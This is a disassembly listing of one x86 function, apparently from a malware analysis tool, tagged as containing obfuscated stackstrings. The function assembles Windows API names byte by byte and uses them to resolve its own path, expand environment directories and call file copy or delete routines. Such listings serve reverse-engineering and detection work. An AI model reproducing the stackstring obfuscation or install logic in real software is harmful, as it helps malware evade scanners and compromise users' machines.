Function at 0x403f50
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x144
push ebx
push str.7vHz_e708P3u7uf97vT13_Xz8vP05_Lx79_u8PLw9N_u8PLw9N_u8fDz8vX05_Xz8vP05_Lx79QjO7x7_Dv8tQsq_CsYxvJDCsbXCsdQsq_CsYxvJDCsbXCsd9rP3FBaRprPxkQDyEQcWstFjduZ3GBFBN1fGcrDyEWN25nJCp1fH6A3wKQprCzwrqRvLyzAovfk8KxurD9ooei_cKnwtgvrzw9e_fI3sXHHQVFDbft7Ozrn8_LS0tP27s6_19fX9wLy6_L7DsPydwrOQprCz9O_9ua_E39_u3_Hf79_v3_f
call fcn.004037b0
add esp, 4
test eax, eax
je 0x4042fa
push esi
push edi
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x4c]
rep stosd dword es:[edi], eax
call fcn.004028b0
mov ecx, dword [0x406c4c]
call fcn.00401c30
mov cl, 0x45
mov esi, dword [sym.imp.KERNEL32.DLL_GetProcAddress]
mov byte [esp + 0x30], cl
mov al, 0x6e
mov byte [esp + 0x36], cl
mov cl, 0x72
mov byte [esp + 0x34], al
mov byte [esp + 0x37], al
mov byte [esp + 0x3c], al
mov byte [esp + 0x3f], al
mov byte [esp + 0x45], al
mov byte [esp + 0x3a], cl
mov byte [esp + 0x43], cl
mov ecx, dword [0x406ed0]
lea eax, [esp + 0x30]
mov bl, 0x65
push eax
push ecx
mov byte [esp + 0x39], 0x78
mov byte [esp + 0x3a], 0x70
mov byte [esp + 0x3b], 0x61
mov byte [esp + 0x3d], 0x64
mov byte [esp + 0x40], 0x76
mov byte [esp + 0x41], 0x69
mov byte [esp + 0x43], 0x6f
mov byte [esp + 0x45], 0x6d
mov byte [esp + 0x46], bl
mov byte [esp + 0x48], 0x74
mov byte [esp + 0x49], 0x53
mov byte [esp + 0x4a], 0x74
mov byte [esp + 0x4c], 0x69
mov byte [esp + 0x4e], 0x67
mov byte [esp + 0x4f], 0x73
mov byte [esp + 0x50], 0x41
mov byte [esp + 0x51], 0
call esi
lea edx, [esp + 0x4c]
push 0x104
push edx
push 0x406238
call eax
lea eax, [esp + 0x4c]
push 0x64
push eax
push 0x406238
call fcn.00403770
mov ecx, dword [0x406c4c]
add esp, 0xc
push 0x406238
call fcn.004019a0
cmp byte [eax + 0x406237], 0x5c
jne 0x404074
mov ecx, dword [0x406c4c]
push 0x406238
call fcn.004019a0
mov byte [eax + 0x406237], 0
mov ecx, dword [0x406c4c]
push 0x406238
push 0x406358
mov byte [esp + 0x16], 0x5c
mov byte [esp + 0x17], 0
call fcn.004019d0
lea ecx, [esp + 0xe]
push ecx
mov ecx, dword [0x406c4c]
push 0x406358
call fcn.00401960
mov ecx, dword [0x406c4c]
push 0x406a18
push 0x406358
call fcn.00401960
mov eax, dword [0x406ed0]
lea edx, [esp + 0x1c]
push edx
push eax
mov byte [esp + 0x24], 0x47
mov byte [esp + 0x25], bl
mov byte [esp + 0x26], 0x74
mov byte [esp + 0x27], 0x4d
mov byte [esp + 0x28], 0x6f
mov byte [esp + 0x29], 0x64
mov byte [esp + 0x2a], 0x75
mov byte [esp + 0x2b], 0x6c
mov byte [esp + 0x2c], bl
mov byte [esp + 0x2d], 0x46
mov byte [esp + 0x2e], 0x69
mov byte [esp + 0x2f], 0x6c
mov byte [esp + 0x30], bl
mov byte [esp + 0x31], 0x4e
mov byte [esp + 0x32], 0x61
mov byte [esp + 0x33], 0x6d
mov byte [esp + 0x34], bl
mov byte [esp + 0x35], 0x41
mov byte [esp + 0x36], 0
call esi
push 0x104
push 0x406d54
push 0
call eax
push 1
call fcn.00402ba0
add esp, 4
test eax, eax
pop edi
pop esi
jne 0x4042fa
mov al, byte [0x406464]
test al, al
je 0x4042da
mov ecx, dword [0x406c4c]
push 0x406358
push 0x406d54
call fcn.00401a60
test eax, eax
jne 0x40425f
call fcn.00403db0
test eax, eax
jne 0x4041ef
mov al, byte [0x406464]
cmp al, 1
jne 0x4041a7
mov byte [0x4062ce], 4
call fcn.00403e70
mov byte [0x4062ce], 3
call fcn.00403c50
xor eax, eax
pop ebx
add esp, 0x144
ret 0x10
cmp al, 2
jne 0x4041d7
mov byte [0x4062ce], 1
call fcn.00403e70
push 1
mov byte [0x4062ce], 2
call dword [sym.imp.KERNEL32.DLL_Sleep]
call fcn.00403c50
xor eax, eax
pop ebx
add esp, 0x144
ret 0x10
mov byte [0x4062ce], 5
call fcn.00403c50
xor eax, eax
pop ebx
add esp, 0x144
ret 0x10
push 0x406a4c
call fcn.00403410
mov al, byte [0x406464]
add esp, 4
cmp al, 1
jne 0x40422f
push 0x406358
push 0x4066cc
mov byte [0x4062ce], 3
call fcn.00402a80
add esp, 8
call fcn.00403c50
xor eax, eax
pop ebx
add esp, 0x144
ret 0x10
cmp al, 2
jne 0x4042fa
push 0x4068b4
push 0x406834
push 0x4066cc
push 0x406358
call fcn.00404310
add esp, 0x10
xor eax, eax
pop ebx
add esp, 0x144
ret 0x10
push 0x406358
call fcn.00403b30
push 0x406358
call fcn.00403c70
mov eax, dword [0x406460]
add esp, 8
test eax, eax
je 0x4042fa
lea ecx, [esp + 8]
push 0x406d54
push ecx
push 0x4066cc
mov byte [esp + 0x14], 0x44
mov byte [esp + 0x15], bl
mov byte [esp + 0x16], 0x6c
mov byte [esp + 0x17], bl
mov byte [esp + 0x18], 0x74
mov byte [esp + 0x19], bl
mov byte [esp + 0x1a], 0x46
mov byte [esp + 0x1b], 0x69
mov byte [esp + 0x1c], 0x6c
mov byte [esp + 0x1d], bl
mov byte [esp + 0x1e], 0x73
mov byte [esp + 0x1f], 0
call fcn.00402980
add esp, 0xc
xor eax, eax
pop ebx
add esp, 0x144
ret 0x10
push 0x406a4c
call fcn.00403410
call fcn.00403db0
push 0
mov byte [0x4062ce], 0
call fcn.00403650
add esp, 8
xor eax, eax
pop ebx
add esp, 0x144
ret 0x10